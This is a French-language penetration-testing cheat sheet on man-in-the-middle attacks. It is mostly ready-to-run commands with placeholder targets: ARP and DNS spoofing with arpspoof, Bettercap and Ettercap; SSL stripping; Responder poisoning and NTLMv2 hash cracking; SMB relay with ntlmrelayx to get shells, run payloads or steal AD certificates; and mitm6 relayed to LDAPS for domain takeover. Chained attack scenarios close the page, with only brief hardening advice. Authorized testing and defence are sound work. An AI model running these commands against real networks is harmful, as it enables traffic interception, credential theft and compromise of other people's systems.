MDstable
NoteSnippetChecklistPlaybook

Man-in-the-Middle — MITM

ARP spoofing, SSL stripping, Responder, SMB relay, mitm6, Bettercap — interception réseau

snippetadvanced 2025-05-14 6 min read
mitmarp-spoofingrespondersmb-relaybettercapssl-stripmitm6llmnrpentest

Principe MITM

Client trafic intercept Attaquant Serveur/Rseau

L'attaquant se positionne entre la victime et le réseau pour intercepter, lire ou modifier le trafic.


ARP Spoofing — Empoisonnement ARP

bash
Variables
{{VICTIM_IP}}
{{GATEWAY_IP}}
# Activer le forwarding IP (sinon le trafic est coupé)
echo 1 > /proc/sys/net/ipv4/ip_forward
# arpspoof (dsniff)
arpspoof -i eth0 -t {{VICTIM_IP}} {{GATEWAY_IP}} # dire à la victime : "je suis le gateway"
arpspoof -i eth0 -t {{GATEWAY_IP}} {{VICTIM_IP}} # dire au gateway : "je suis la victime"
# Capturer le trafic
tcpdump -i eth0 -w capturepcap host {{VICTIM_IP}}
# Vérifier que le MITM fonctionne
arp -n # sur la victime : l'IP gateway doit pointer vers notre MAC

Bettercap — MITM moderne

bash
Variables
{{VICTIM_IP}}
{{TARGET_DOMAIN}}
{{LHOST}}
# Lancer Bettercap
bettercap -iface eth0
# Dans la console interactive :
netprobe on # découverte du réseau
netshow # lister les hôtes
# ARP spoofing
set arpspooftargets {{VICTIM_IP}}
set arpspooffullduplex true # bidirectionnel (gateway + victime)
arpspoof on
# Capturer credentials en clair
netsniff on
set netsniffverbose true
# DNS spoofing (rediriger un domaine vers notre IP)
set dnsspoofdomains {{TARGET_DOMAIN}}
set dnsspoofaddress {{LHOST}}
dnsspoof on
# HTTPS via HSTS bypass (caplet)
set httpsproxysslstrip true
httpsproxy on

SSL Stripping — Downgrade HTTPS → HTTP

bash
# sslstrip (Python 2 — legacy)
sslstrip -l 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
# Bettercap — approche moderne
set httpproxysslstrip true
httpproxy on
# Limitation : HSTS (HTTP Strict Transport Security) protège contre le SSL strip
# Contournement HSTS : sslstrip+ + DNS spoofing du sous-domaine
# www.bank.com → wwww.bank.com (typosquatting) — pas couvert par HSTS preload

Responder — Empoisonnement LLMNR / NBT-NS / WPAD

bash
Variables
{{VICTIM_IP}}
# LLMNR (UDP 5355) et NBT-NS (UDP 137) : protocoles de résolution de noms Windows
# Quand un nom n'est pas résolu par DNS, Windows broadcast en LLMNR/NBT-NS
# Responder répond à ces requêtes et capture les hash NTLMv2
responder -I eth0 -wrf
# -w : WPAD rogue proxy
# -r : répondre aux requêtes NBT-NS type NETBIOS
# -f : fingerprinting
# Les hash capturés apparaissent dans /usr/share/responder/logs/
# Format : NTLMv2-SSP-{{VICTIM_IP}}.txt
# Cracker les hash NTLMv2
hashcat -m 5600 hashestxt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashestxt
# WPAD (Web Proxy Auto-Discovery) abuse
# Windows cherche automatiquement un fichier wpad.dat sur le réseau
# Responder sert un faux WPAD → capture les credentials proxy

SMB Relay — Relayer les credentials NTLM

bash
Variables
{{TARGET_SUBNET}}
# Prérequis : SMB signing désactivé sur les cibles
# Vérifier SMB signing :
nmap --script smb2-security-mode -p 445 {{TARGET_SUBNET}}
crackmapexec smb {{TARGET_SUBNET}} --gen-relay-list targetstxt
# Étape 1 : désactiver SMB et HTTP dans Responder (on capture mais on ne répond pas)
# Modifier /etc/responder/Responder.conf :
# SMB = Off
# HTTP = Off
# Étape 2 : lancer Responder (capture LLMNR/NBT-NS mais ne répond pas aux auth)
responder -I eth0 -wf
# Étape 3 : relayer vers les cibles avec ntlmrelayx
ntlmrelayxpy -tf targetstxt -smb2support
# → Quand un utilisateur tente de s'authentifier, on relaie vers les cibles
# → Si l'utilisateur est admin local sur la cible → on obtient un shell ou les hashes SAM
# Options ntlmrelayx utiles :
ntlmrelayxpy -tf targetstxt -smb2support -i # shell interactif
ntlmrelayxpy -tf targetstxt -smb2support -e shellexe # exécuter un payload
ntlmrelayxpy -tf targetstxt -smb2support -c "whoami > C:\out.txt" # commande
ntlmrelayxpy -tf targetstxt -smb2support --dump-adcs # voler les certificats AD

mitm6 — MITM via IPv6

bash
Variables
{{TARGET_DOMAIN}}
{{DC_IP}}
# Windows préfère IPv6 à IPv4 — mitm6 se fait passer pour le routeur IPv6
# Combiné avec ntlmrelayx → voler des credentials ou créer des comptes AD
# Étape 1 : mitm6 (annonce un faux routeur IPv6 + DNS)
mitm6 -d {{TARGET_DOMAIN}}
# Étape 2 : ntlmrelayx avec LDAPS (pour créer un compte machine ou déléguer)
ntlmrelayxpy -6 -t ldaps//{{DC_IP}} -wh fakewpad{{TARGET_DOMAIN}}
--add-computer ATTACK --delegate-access
# Résultat : compte machine créé → RBCD attack possible
# Ou récupérer les credentials via WPAD spoof
# Vérification : les clients Windows vont recevoir une adresse IPv6 de mitm6
# et utiliser notre machine comme DNS → on contrôle la résolution de noms

mitmproxy — Inspection HTTP/HTTPS

bash
# Proxy transparent pour inspecter et modifier le trafic HTTP/HTTPS
# Mode interactif (terminal)
mitmproxy -p 8080
# Mode automatique (dump)
mitmdump -p 8080 -w trafficdump
# Rediriger le trafic vers mitmproxy (iptables)
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
# Script Python pour modifier les réponses à la volée
# mitmdump -s script.py
# script.py :
# def response(flow):
# if "password" in flow.response.text:
# print(flow.response.text)
# Installer le certificat mitmproxy sur la victime
# → ~/.mitmproxy/mitmproxy-ca-cert.pem

Ettercap — MITM GUI/CLI

bash
Variables
{{VICTIM_IP}}
{{GATEWAY_IP}}
{{TARGET_DOMAIN}}
{{LHOST}}
# Mode CLI — ARP poisoning + sniff
ettercap -T -q -i eth0 -M arpremote {{VICTIM_IP}}// {{GATEWAY_IP}}//
# Avec plugin DNS spoofing
# Modifier /etc/ettercap/etter.dns : ajouter "{{TARGET_DOMAIN}} A {{LHOST}}"
ettercap -T -q -i eth0 -M arpremote -P dns_spoof {{VICTIM_IP}}// {{GATEWAY_IP}}//

Scénarios combinés

LLMNR → Hash → Crack → Accès

Variables
{{TARGET_SUBNET}}
{{USER}}
{{PASSWORD}}
1 responder -I eth0 -wrf
2 Attendre qu'un utilisateur tente d'accder un partage inexistant
3 Rcuprer le NTLMv2 hash
4 hashcat -m 5600 mot de passe en clair
5 crackmapexec smb {{TARGET_SUBNET}} -u {{USER}} -p {{PASSWORD}}

mitm6 → LDAP Relay → DA

Variables
{{DOMAIN}}
{{DC_IP}}
1 mitm6 -d {{DOMAIN}}
2 ntlmrelayx -6 -t ldaps//{{DC_IP}} --delegate-access
3 Compte machine cr avec dlgation getSTpy accs DA

ARP Spoof → SSL Strip → Credentials

1 echo 1 > /proc/sys/net/ipv4/ip_forward
2 bettercap arpspoof sslstrip netsniff
3 Rcuprer credentials soumis sur des formulaires HTTP
⚠ Attention —

LLMNR et NBT-NS poisoning fonctionnent par défaut dans tous les environnements Windows non durcis. Sur un réseau de production, quelques minutes de Responder suffisent souvent à capturer des dizaines de hash. Désactiver LLMNR via GPO (Computer > Administrative Templates > Network > DNS Client > Turn off multicast name resolution) est une des mesures de hardening les plus impactantes.

💡 Tip —

La combinaison mitm6 + ntlmrelayx vers LDAPS est souvent la technique la plus efficace en interne AD car elle ne nécessite aucun compte initial. Elle fonctionne tant que SMB signing n'est pas forcé et que IPv6 n'est pas désactivé.

OPS·BRAIN v1.075 notes · Securitylocal